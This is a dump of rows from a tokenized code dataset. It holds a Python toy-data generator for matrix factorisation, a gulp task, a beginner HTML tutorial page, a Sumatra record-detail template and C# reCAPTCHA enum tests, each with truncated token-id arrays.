| lonnen/socorro | socorro/unittest/lib/test_task_manager.py | Python | mpl-2.0 | 2,418 | [
30522,
1001,
2023,
3120,
3642,
2433,
2003,
3395,
2000,
1996,
3408,
1997,
1996,
9587,
5831,
4571,
2270,
1001,
6105,
1010,
1058,
1012,
1016,
1012,
1014,
1012,
2065,
1037,
6100,
1997,
1996,
6131,
2140,
2001,
2025,
5500,
2007,
2023,
1001,
537... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
"""
Generate a toy dataset for the matrix factorisation case, and store it.
We use dimensions 100 by 50 for the dataset, and 10 latent factors.
As the prior for U and V we take value 1 for all entries (so exp 1).
As a result, each value in R has a value of around 20, and a variance of 100-120.
For contrast, the Sanger dataset of 705 by 140 shifted to nonnegative has mean
31.522999753779082 and variance 243.2427345740027.
We add Gaussian noise of precision tau = 1 (prior for gamma: alpha=1,beta=1).
(Simply using the expectation of our Gamma distribution over tau)
"""
import sys, os
project_location = os.path.dirname(__file__)+"/../../../"
sys.path.append(project_location)
from BNMTF.code.models.distributions.exponential import exponential_draw
from BNMTF.code.models.distributions.normal import normal_draw
from BNMTF.code.cross_validation.mask import generate_M
import numpy, itertools, matplotlib.pyplot as plt
def generate_dataset(I,J,K,lambdaU,lambdaV,tau):
# Generate U, V
U = numpy.zeros((I,K))
for i,k in itertools.product(xrange(0,I),xrange(0,K)):
U[i,k] = exponential_draw(lambdaU[i,k])
V = numpy.zeros((J,K))
for j,k in itertools.product(xrange(0,J),xrange(0,K)):
V[j,k] = exponential_draw(lambdaV[j,k])
# Generate R
true_R = numpy.dot(U,V.T)
R = add_noise(true_R,tau)
return (U,V,tau,true_R,R)
def add_noise(true_R,tau):
if numpy.isinf(tau):
return numpy.copy(true_R)
(I,J) = true_R.shape
R = numpy.zeros((I,J))
for i,j in itertools.product(xrange(0,I),xrange(0,J)):
R[i,j] = normal_draw(true_R[i,j],tau)
return R
def try_generate_M(I,J,fraction_unknown,attempts):
for attempt in range(1,attempts+1):
try:
M = generate_M(I,J,fraction_unknown)
sums_columns = M.sum(axis=0)
sums_rows = M.sum(axis=1)
for i,c in enumerate(sums_rows):
assert c != 0, "Fully unobserved row in M, row %s. Fraction %s." % (i,fraction_unknown)
for j,c in enumerate(sums_columns):
assert c != 0, "Fully unobserved column in M, column %s. Fraction %s." % (j,fraction_unknown)
print "Took %s attempts to generate M." % attempt
return M
except AssertionError:
pass
raise Exception("Tried to generate M %s times, with I=%s, J=%s, fraction=%s, but failed." % (attempts,I,J,fraction_unknown))
##########
if __name__ == "__main__":
output_folder = project_location+"BNMTF/data_toy/bnmf/"
I,J,K = 100, 80, 10 #20, 10, 5 #
fraction_unknown = 0.1
alpha, beta = 1., 1.
lambdaU = numpy.ones((I,K))
lambdaV = numpy.ones((I,K))
tau = alpha / beta
(U,V,tau,true_R,R) = generate_dataset(I,J,K,lambdaU,lambdaV,tau)
# Try to generate M
M = try_generate_M(I,J,fraction_unknown,attempts=1000)
# Store all matrices in text files
numpy.savetxt(open(output_folder+"U.txt",'w'),U)
numpy.savetxt(open(output_folder+"V.txt",'w'),V)
numpy.savetxt(open(output_folder+"R_true.txt",'w'),true_R)
numpy.savetxt(open(output_folder+"R.txt",'w'),R)
numpy.savetxt(open(output_folder+"M.txt",'w'),M)
print "Mean R: %s. Variance R: %s. Min R: %s. Max R: %s." % (numpy.mean(R),numpy.var(R),R.min(),R.max())
fig = plt.figure()
plt.hist(R.flatten(),bins=range(0,int(R.max())+1))
plt.show() | ThomasBrouwer/BNMTF | data_toy/bnmf/generate_bnmf.py | Python | apache-2.0 | 3,430 | [
30522,
1000,
1000,
1000,
9699,
1037,
9121,
2951,
13462,
2005,
1996,
8185,
5387,
6648,
2553,
1010,
1998,
3573,
2009,
1012,
2057,
2224,
9646,
2531,
2011,
2753,
2005,
1996,
2951,
13462,
1010,
1998,
2184,
2397,
3372,
5876,
1012,
2004,
1996,
3... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
'use strict';
// ==================================
//
// Load modules.
//
// ==================================
var config = require('../config.js');
var gulp = require('gulp');
// ==================================
//
// Fonts
//
// ==================================
gulp.task('fonts', function () {
gulp.src([config.fonts.src])
.pipe(gulp.dest(config.fonts.dest));
});
| Futoshi0620/jet-penguin | www/wordpress/wp-content/themes/jet-penguin/gulp/tasks/fonts.js | JavaScript | mit | 381 | [
30522,
1005,
2224,
9384,
1005,
1025,
1013,
1013,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
1027,
102... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>CodePen - A Pen by Justin Kams</title>
</head>
<body>
<html>
<head>
<title>The Basics of The Web and HTML</title>
</head>
<body>
<h2>The Basics of The Web and HTML</h2>
<p><em></em></p>
<p><em><h3>The Basics of the World Wide Web</h3></em>
The world wide web is a collection of computers with html files on them. The computers communcate
and share the html files when the user requests it in the browser. When a person goes to a web
page like <a href="www.google.com">www.google.com</a>, their computer sends a HTTP Request to
a server. The server finds the appropriate<b> HTML</b> document and sends it back to the user's
computer where a web browser interprets the page and displays it on the user's screen.</p>
<p><em><h3>HTML</h3></em>
<b>HTML</b> stands for <em>Hypertext Markup Language</em>. <b>HTML</b> documents form the majority of the content
on the web. <b>HTML</b> documents contain text content which describes <em>"what you see"</em> and markup
which describes <em>"how it looks"</em>. This video gives a good overview.</p>
<p><em><h3>Tags and Elements</h3></em>
<b>HTML</b> documents are made of <b>HTML</b> elements. When writing <b>HTML</b>, we tell browsers the
type of each element by using <b>HTML</b> tags. This video explains the distinction well.</p>
<p><em><h3>HTML Attributes</h3></em>
There are many attributes. One for starters is the anchor tag. The anchor tag is used to include
links in the material. These tags would be nested in the less than greater brackets, and consist
of <em>'a href="link" /a'</em>. View this webpage for a
<a href="http://www.w3schools.com/tags/tag_a.asp">description</a>.
</p>
<p><em><h3>Images</h3></em>
Images can be added to web content. These tags will again have the less than and greater than
brackets surrounding them, and consist of <em>'img src="url" alt="text"'</em>.
These tags are known as void tags and do not need content included. Also the alt attribute at
the end of the tag, diplays text in the event the image request is broken.
</p>
<p><em><h3>Whitespace</h3></em>
Browsers automatically put text on one line, unless told othrwise. To render text on multiple
lines, use the tag <em>'br'</em> which stands for break, or <em>'p'</em>, which stands for
paragraph.
</p>
<p><em><h3>Why Computers are Stupid</h3></em>
Computers are stupid because they interpret instructions literally. This makes them very
unforgiving since a small mistake by a programmer can cause huge problems in a program.</p>
<p><em><h3>Inline vs Block Elements</h3></em>
HTML elements are either inline or block. Block elements form an <em>"invisible box"</em> around the
content inside of them.</p>
<p><em><h3>HTML Document</h3></em>
Lastly a typical html document will be ordered as follows:
<ol>
<li>!DOCTYPE HTML</li>
<li>html</li>
<li>head</li>
<li>/head</li>
<li>body</li>
<li>tags 'content' /tags</li>
<li>/body</li>
<li>/html</li>
</ol>
</p>
</body>
</html>
</body>
</html> | westlyheinrich/getting-started-with-html | index.html | HTML | mit | 3,084 | [
30522,
1026,
999,
9986,
13874,
16129,
1028,
1026,
16129,
1028,
1026,
2132,
1028,
1026,
18804,
25869,
13462,
1027,
1000,
21183,
2546,
1011,
1022,
1000,
1028,
1026,
2516,
1028,
3642,
11837,
1011,
1037,
7279,
2011,
6796,
27829,
2015,
1026,
101... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
{% extends "base.html" %}
{% load filters %}
{% block title %}{{project_name}}: {{record.label}}{% endblock %}
{% block css %}
<link href="/static/css/dataTables.bootstrap.css" rel="stylesheet">
{% endblock %}
{% block navbar %}
<li><a href="..">{{project_name}}</a></li>
<li><a href="/{{project_name}}/{{record.label}}/"> {{record.label}}</a></li>
{% endblock %}
{% block content %}
<!-- General information -->
<div class="panel panel-info">
<div class="panel-heading clearfix">
{% if not read_only %}
<div class="pull-right" role="group">
<button type="button" class="btn btn-danger btn-sm" data-toggle="modal" data-target="#deleteModal"><span class="glyphicon glyphicon-trash"></span> Delete record</button>
</div>
{% endif %}
<h2 class="panel-title" style="padding-top: 6px;">{{record.label}}</h2>
</div>
<div class="panel-body">
<div class="well well-sm"><code>$ {{record.command_line}}</code></div>
<p>Run on {{record.timestamp|date:"d/m/Y H:i:s"}} by {{record.user}}</p>
<dl class="dl-horizontal">
<dt>Working directory:</dt><dd>{{record.working_directory}}</dd>
<dt>Code version:</dt><dd>{{record.version}}{% if record.diff %}* (<a href="diff">diff</a>){% endif %}</dd>
<dt>Repository:</dt><dd>{{record.repository.url}}
{% if record.repository.upstream %} - cloned from {{record.repository.upstream|urlize}}{% endif %}</dd>
<dt>{{record.executable.name}} version:</dt><dd>{{record.executable.version}}</dd>
<dt>Reason:</dt><dd>
{% if not read_only %}
<button type="button" class="btn btn-xs pull-right" data-toggle="modal" data-target="#editReasonModal"><span class="glyphicon glyphicon-pencil"></span> Edit</button>
{% endif %}
{{record.reason|restructuredtext}}</dd>
<dt>Tags:</dt><dd>
{% if not read_only %}
<button type="button" class="btn btn-xs pull-right" data-toggle="modal" data-target="#editTagsModal"><span class="glyphicon glyphicon-pencil"></span> Edit</button>
{% endif %}
{% for tag in record.tag_objects %}{{tag.name|labelize_tag}} {% endfor %}</dd>
</dl>
{% if not read_only and not record.outcome %}
<p><button type="button" class="btn btn-xs btn-success pull-right" data-toggle="modal" data-target="#editOutcomeModal"><span class="glyphicon glyphicon-plus"></span> Add outcome</button></p>
{% endif %}
</div>
</div>
<!-- Outcome -->
{% if record.outcome %}
<div class="panel panel-default">
<div class="panel-heading">
{% if not read_only %}
<button type="button" class="btn btn-xs pull-right" data-toggle="modal" data-target="#editOutcomeModal"><span class="glyphicon glyphicon-pencil"></span> Edit</button>
{% endif %}
<h4 class="panel-title">
<a data-toggle="collapse" href="#outcome-panel">Outcome</a>
</h4>
</div>
<div class="panel-body collapse in" id="#outcome-panel">
{{record.outcome|restructuredtext}}
</div>
</div>
{% endif %}
<!-- Parameters -->
{% if parameters %}
<div class="panel panel-default">
<div class="panel-heading">
<h4 class="panel-title">
<a data-toggle="collapse" href="#parameters-panel">Parameters</a>
</h4>
</div>
<div class="panel-body collapse in" id="parameters-panel">
{% with dict=parameters template="nested_dict.html" %}
{% include template %}
{% endwith %}
</div>
</div>
{% endif %}
<!-- Input data -->
{% if record.input_data.count %}
<div class="panel panel-default">
<div class="panel-heading">
<h4 class="panel-title">
<a data-toggle="collapse" href="#input-data-panel">Input data</a></h4>
</div>
<div class="panel-body collapse in" id="input-data-panel">
<table id="input-data" class="table table-striped table-condensed">
<thead>
<tr>
<th>Filename</th>
<th>Path</th>
<th>Digest</th>
<th>Size</th>
<th>Date/Time</th>
<th>Output of</th>
<th>Input to</th>
</tr>
</thead>
<tbody>
{% for data in record.input_data.all %}
<tr>
<td>
<a href="/{{project_name}}/data/datafile?path={{data.path|urlencode}}&digest={{data.digest}}&creation={{data.creation|date:"c"}}">
{{data.path|basename|ubreak}}
</a>
</td>
<td>
{{data.path|ubreak}}
</td>
<td>
{{data.digest|truncatechars:12 }}
</td>
<td>
{{data|eval_metadata:'size'|filesizeformat}}
</td>
<td>
<span style='display:none;'>
<!-- hack for correct sorting -->
{{data.output_from_record.timestamp|date:"YmdHis"}}
</span>
{{data.output_from_record.timestamp|date:"d/m/Y H:i:s"}}
</td>
<td>
<a href="/{{project_name}}/{{data.output_from_record.label}}/">
{{data.output_from_record.label|ubreak}}
</a>
</td>
<td>
{% for record in data.input_to_records.all %}
<a href="/{{project_name}}/{{record.label}}/">
{{record.label|ubreak}}<!--
-->{% if not forloop.last %}, {% endif %}
</a>
{% endfor %}
</td>
</tr>
{% endfor %}
<tbody>
</table>
</div>
</div>
{% endif %}
<!-- Output data -->
{% if record.output_data.count %}
<div class="panel panel-default">
<div class="panel-heading">
<h4 class="panel-title">
<a data-toggle="collapse" href="#output-data-panel">Output data</a>
</h4>
</div>
<div class="panel-body collapse in" id="output-data-panel">
<table id="output-data" class="table table-striped table-condensed">
<thead>
<tr>
<th>Filename</th>
<th>Path</th>
<th>Digest</th>
<th>Size</th>
<th>Date/Time</th>
<th>Output of</th>
<th>Input to</th>
</tr>
</thead>
<tbody>
{% for data in record.output_data.all %}
<tr>
<td>
<a href="/{{project_name}}/data/datafile?path={{data.path|urlencode}}&digest={{data.digest}}&creation={{data.creation|date:"c"}}">
{{data.path|basename|ubreak}}
</a>
</td>
<td>
{{data.path|ubreak}}
</td>
<td>
{{data.digest|truncatechars:12 }}
</td>
<td>
{{data|eval_metadata:'size'|filesizeformat}}
</td>
<td>
<span style='display:none;'>
<!-- hack for correct sorting -->
{{data.output_from_record.timestamp|date:"YmdHis"}}
</span>
{{data.output_from_record.timestamp|date:"d/m/Y H:i:s"}}
</td>
<td>
<a href="/{{project_name}}/{{data.output_from_record.label}}/">
{{data.output_from_record.label|ubreak}}
</a>
</td>
<td>
{% for record in data.input_to_records.all %}
<a href="/{{project_name}}/{{record.label}}/">
{{record.label|ubreak}}<!--
-->{% if not forloop.last %}, {% endif %}
</a>
{% endfor %}
</td>
</tr>
{% endfor %}
<tbody>
</table>
</div>
</div>
{% endif %}
<!-- Dependencies -->
{% if record.dependencies.count %}
<div class="panel panel-default">
<div class="panel-heading">
<h4 class="panel-title">
<a data-toggle="collapse" href="#dependencies-panel">Dependencies</a>
</h4>
</div>
<div id="dependencies-panel" class="panel-body collapse in">
<table id="dependencies" class="table table-striped table-condensed">
<thead>
<tr>
<th>Name</th>
<th>Path</th>
<th>Version</th>
</tr>
</thead>
<tbody>
{% for dep in record.dependencies.all %}
<tr>
<td>{{dep.name}}</td>
<td>{{dep.path}}</td>
<td>{{dep.version}}{% if dep.diff %}* (<a href="diff/{{dep.name}}">diff</a>){% endif %}</td>
</tr>
{% endfor %}
<tbody>
</table>
</div>
</div>
{% endif %}
<!-- Platform information -->
{% if record.platforms.count %}
<div class="panel panel-default">
<div class="panel-heading">
<h4 class="panel-title">
<a data-toggle="collapse" href="#platform-info-panel">Platform information</a>
</h4>
</div>
<div id="platform-info-panel" class="panel-body collapse in">
<table id="platform-info" class="table table-striped table-condensed">
<thead>
<tr>
<th>Name</th>
<th>IP address</th>
<th>Processor</th>
<th colspan="2">Architecture</th>
<th>System type</th>
<th>Release</th>
<th>Version</th>
</tr>
</thead>
<tbody>
{% for platform in record.platforms.all %}
<tr class="{% cycle 'odd' 'even' %}">
<td>{{platform.network_name}}</td>
<td>{{platform.ip_addr}}</td>
<td>{{platform.processor}} {{platform.machine}}</td>
<td style='padding-right:5px'>{{platform.architecture_bits}}</td>
<td>{{platform.architecture_linkage}}</td>
<td>{{platform.system_name}}</td>
<td>{{platform.release}}</td>
<td>{{platform.version}}</td>
</tr>{% endfor %}
<tbody>
</table>
</div>
</div>
{% endif %}
<!-- stdout and stderr -->
{% if record.stdout_stderr %}
<div class="panel panel-default">
<div class="panel-heading">
<h4 class="panel-title">
<a data-toggle="collapse" href="#stdout-stderr-panel">Stdout & Stderr</a>
</h4>
</div>
<div id="stdout-stderr-panel" class="panel-body collapse in">
<code>{{ record.stdout_stderr | linebreaksbr }}</code>
</div>
</div>
{% endif %}
{% endblock content %}
<! -- Dialog boxes for editing -->
{% block dialogs %}
<div class="modal fade" id="editReasonModal">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal">×</button>
<h4 class="modal-title">Reason/Motivation</h4>
</div>
<div class="modal-body">
<div class="form-group">
<p>Use <a href="http://sphinx-doc.org/rest.html" target="_blank">reStructuredText</a> for formatting.</p>
<textarea class="form-control" rows="10" id="reason">{{record.reason}}</textarea>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary" id="saveReason">Save</button>
</div>
</div> <!-- modal-content -->
</div> <!-- modal-dialog -->
</div> <!-- modal -->
<div class="modal fade" id="editOutcomeModal">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal">×</button>
<h4 class="modal-title">Outcome</h4>
</div>
<div class="modal-body">
<div class="form-group">
<p>Use <a href="http://sphinx-doc.org/rest.html" target="_blank">reStructuredText</a> for formatting.</p>
<textarea class="form-control" rows="10" id="outcome">{{record.outcome}}</textarea>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary" id="saveOutcome">Save</button>
</div>
</div> <!-- modal-content -->
</div> <!-- modal-dialog -->
</div> <!-- modal -->
<div class="modal fade" id="editTagsModal">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal">×</button>
<h4 class="modal-title">Tags</h4>
</div>
<div class="modal-body">
<div class="form-group">
<p>Separate tags with commas. Tags may contain spaces.</p>
<input type="text" class="form-control" id="tag_list" value="{{record.tags}}">
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary" id="saveTags">Save</button>
</div>
</div> <!-- modal-content -->
</div> <!-- modal-dialog -->
</div> <!-- modal -->
<div class="modal fade" id="editStatusModal">
<div class="modal-dialog modal-lg">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal">×</button>
<h4 class="modal-title">Status</h4>
</div>
<div class="modal-body">
<div class="form-group">
<select id="status">
{% with "initialized pre_run running finished failed killed succeeded crashed" as statuses %}
{% for status in statuses.split %}
<option value={{status}}
{% if status == record.status %}selected="selected"{% endif %}>
{{status|title}}
</option>
{% endfor %}
{% endwith %}
</select>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary" id="saveStatus">Save</button>
</div>
</div> <!-- modal-content -->
</div> <!-- modal-dialog -->
</div> <!-- modal -->
<div class="modal fade" id="deleteModal">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header">
<button type="button" class="close" data-dismiss="modal">×</button>
<h4 class="modal-title">Delete record</h4>
</div>
<div class="modal-body">
<p>Are you sure you want to delete this record?</p>
<div class="form-group">
<label>
<input type="checkbox" id='is_data'> Delete associated data
</label>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-default" data-dismiss="modal">No</button>
<button type="button" class="btn btn-primary" id="confirm-delete">Yes</button>
</div>
</div> <!-- modal-content -->
</div> <!-- modal-dialog -->
</div> <!-- modal -->
{% endblock %}
<! -- Javascript -->
{% block scripts %}
<script type="text/javascript" language="javascript" src="/static/js/jquery.dataTables.min.js"></script>
<script type="text/javascript" language="javascript" src="/static/js/dataTables.bootstrap.js"></script>
<script type="text/javascript">
$(document).ready(function() {
/* Configure DataTable */
var table = $('#output-data').dataTable( {
"info": false,
"paging": false,
"ordering": false,
"filter": false
} );
/* Save the reason/motivation */
$('#saveReason').click(function() {
$.ajax({
type: 'POST',
url: '.',
data: {'reason': $('#reason').val()},
success: function() {
success = true;
},
async: false
});
if (success) {
window.open('.','_self');
};
});
/* Save the outcome */
$('#saveOutcome').click(function() {
$.ajax({
type: 'POST',
url: '.',
data: {'outcome': $('#outcome').val()},
success: function() {
success = true;
},
async: false
});
if (success) {
window.open('.','_self');
};
});
/* Save tags */
$('#saveTags').click(function() {
$.ajax({
type: 'POST',
url: '.',
data: {'tags': $('#tag_list').val()},
success: function() {
success = true;
},
async: false
});
if (success) {
window.open('.','_self');
};
});
/* Save status */
$('#saveStatus').click(function() {
$.ajax({
type: 'POST',
url: '.',
data: {'status': $('#status').val()},
success: function() {
success = true;
},
async: false
});
if (success) {
window.open('.','_self');
};
});
/* Delete this record */
$('#confirm-delete').click(function() {
var success = false;
var includeData = function(){
if ($('#is_data').attr('checked')) {
return true;
} else {
return false;
};
};
var deleteArr = new Array(); // records to delete
deleteArr.push('{{record.label}}');
console.log(deleteArr);
$.ajax({
type: 'POST',
url: '../delete/',
data: {'delete': deleteArr,
'delete_data': includeData()},
success: function() {
success = true;
},
async: false
});
if (success) {
window.open('..', '_self');
};
});
} );
</script>
{% endblock %}
<!-- TODO: initialize input-data DataTable -->
| apdavison/sumatra | sumatra/web/templates/record_detail.html | HTML | bsd-2-clause | 18,845 | [
30522,
1063,
1003,
8908,
1000,
2918,
1012,
16129,
1000,
1003,
1065,
1063,
1003,
7170,
17736,
1003,
1065,
1063,
1003,
3796,
2516,
1003,
1065,
1063,
1063,
2622,
1035,
2171,
1065,
1065,
1024,
1063,
1063,
2501,
1012,
3830,
1065,
1065,
1063,
1... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1... | [
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100... |
// Copyright (c) Eugene Berdnikov. See License.txt in the project root for license information.
using Microsoft.VisualStudio.TestTools.UnitTesting;
using System;
namespace Recaptcha.Web.Tests.Compatibility
{
#pragma warning disable 618
[TestClass]
public class EnumTests
{
[TestMethod]
[TestCategory(CompatibilityTests.Category)]
public void VerificationResultIsInt32Enum()
{
Assert.AreEqual(typeof(int), Enum.GetUnderlyingType(typeof(RecaptchaVerificationResult)));
}
[TestMethod]
[TestCategory(CompatibilityTests.Category)]
public void VerificationResultUnknownErrorHasCorrectValue()
{
Assert.AreEqual((RecaptchaVerificationResult)0, RecaptchaVerificationResult.UnknownError);
}
[TestMethod]
[TestCategory(CompatibilityTests.Category)]
public void VerificationResultSuccessHasCorrectValue()
{
Assert.AreEqual((RecaptchaVerificationResult)1, RecaptchaVerificationResult.Success);
}
[TestMethod]
[TestCategory(CompatibilityTests.Category)]
public void VerificationResultIncorrectCaptchaSolutionHasCorrectValue()
{
Assert.AreEqual((RecaptchaVerificationResult)2, RecaptchaVerificationResult.IncorrectCaptchaSolution);
}
[TestMethod]
[TestCategory(CompatibilityTests.Category)]
public void VerificationResultInvalidCookieParametersHasCorrectValue()
{
Assert.AreEqual((RecaptchaVerificationResult)3, RecaptchaVerificationResult.InvalidCookieParameters);
}
[TestMethod]
[TestCategory(CompatibilityTests.Category)]
public void VerificationResultInvalidPrivateKeyHasCorrectValue()
{
Assert.AreEqual((RecaptchaVerificationResult)4, RecaptchaVerificationResult.InvalidPrivateKey);
}
[TestMethod]
[TestCategory(CompatibilityTests.Category)]
public void VerificationResultNullOrEmptyCaptchaSolutionHasCorrectValue()
{
Assert.AreEqual((RecaptchaVerificationResult)5, RecaptchaVerificationResult.NullOrEmptyCaptchaSolution);
}
[TestMethod]
[TestCategory(CompatibilityTests.Category)]
public void VerificationResultChallengeNotProvidedHasCorrectValue()
{
Assert.AreEqual((RecaptchaVerificationResult)6, RecaptchaVerificationResult.ChallengeNotProvided);
}
[TestMethod]
[TestCategory(CompatibilityTests.Category)]
public void ThemeIsInt32Enum()
{
Assert.AreEqual(typeof(int), Enum.GetUnderlyingType(typeof(RecaptchaTheme)));
}
[TestMethod]
[TestCategory(CompatibilityTests.Category)]
public void ThemeRedHasCorrectValue()
{
Assert.AreEqual((RecaptchaTheme)0, RecaptchaTheme.Red);
}
[TestMethod]
[TestCategory(CompatibilityTests.Category)]
public void ThemeBlackglassHasCorrectValue()
{
Assert.AreEqual((RecaptchaTheme)1, RecaptchaTheme.Blackglass);
}
[TestMethod]
[TestCategory(CompatibilityTests.Category)]
public void ThemeWhiteHasCorrectValue()
{
Assert.AreEqual((RecaptchaTheme)2, RecaptchaTheme.White);
}
[TestMethod]
[TestCategory(CompatibilityTests.Category)]
public void ThemeCleanHasCorrectValue()
{
Assert.AreEqual((RecaptchaTheme)3, RecaptchaTheme.Clean);
}
}
}
| evnik/reCAPTCHA4net | Source/Recaptcha.Web.Tests/Compatibility/EnumTests.cs | C# | mit | 3,568 | [
30522,
1013,
1013,
9385,
1006,
1039,
1007,
8207,
2022,
4103,
22576,
1012,
2156,
6105,
1012,
19067,
2102,
1999,
1996,
2622,
7117,
2005,
6105,
2592,
1012,
2478,
7513,
1012,
26749,
8525,
20617,
1012,
3231,
3406,
27896,
1012,
3131,
22199,
2075,... | [
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0... | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
